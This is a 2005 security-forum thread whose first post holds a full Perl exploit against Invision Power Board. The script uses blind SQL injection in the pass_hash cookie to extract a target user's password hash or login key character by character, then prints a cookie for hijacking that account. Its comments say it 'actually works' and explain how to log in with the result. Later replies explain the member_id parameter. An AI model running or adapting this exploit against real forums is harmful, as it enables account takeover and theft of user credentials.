 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| |
|
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9145
 People Online:
 Visitors: 552
 Members: 0
 Total: 552
|
|
|
|
|
|
PacketStorm News |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
IPB cookies disclosure |
|
 Posted: Sun Jul 17, 2005 10:14 am |
 |
|
| subzero |
| Valuable expert |
 |
| |
| Joined: Mar 16, 2005 |
| Posts: 42 |
|
|
|
 |
|
 |
|
| Code: | #!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
##################################################################
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);
if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?
if (!$ARGV[2])
{
print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. ";
exit;
}
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current ";
last;
}
}
if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;
# www.h4cky0u.org
|
source: http://downloads.securityfocus.com/vulnerabilities/exploits/invpb-cookie.pl
can someone enlighten me..
why he used this member id 31337420 ?
| Code: | | my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); |
|
|
|
|
|
|
|
|
|
| Posted: Thu Jul 21, 2005 7:32 pm |
|
|
| Narsil |
| Regular user |
 |
| |
| Joined: Jul 20, 2005 |
| Posts: 5 |
|
|
|
|
|
|
|
he used for User id and password fake-logon.
"member_id=31337420" it could be another number
"pass_hash=" you see a blank password for the fake-member.
-------------------------------------------------------------------------------------
http://www.nirsoft.net/utils/iecv.zip nice program to modify the cookie that generate the exploit. |
|
|
|
|
|
Re: IPB cookies disclosure |
|
| Posted: Thu Jul 21, 2005 7:40 pm |
|
|
| waraxe |
| Site admin |
 |
| |
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| subzero wrote: |
can someone enlighten me..
why he used this member id 31337420 ?
| Code: | | my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); |
|
Since sql injection occurs in "pass_hash", then "member_id" value is irrelevant  |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
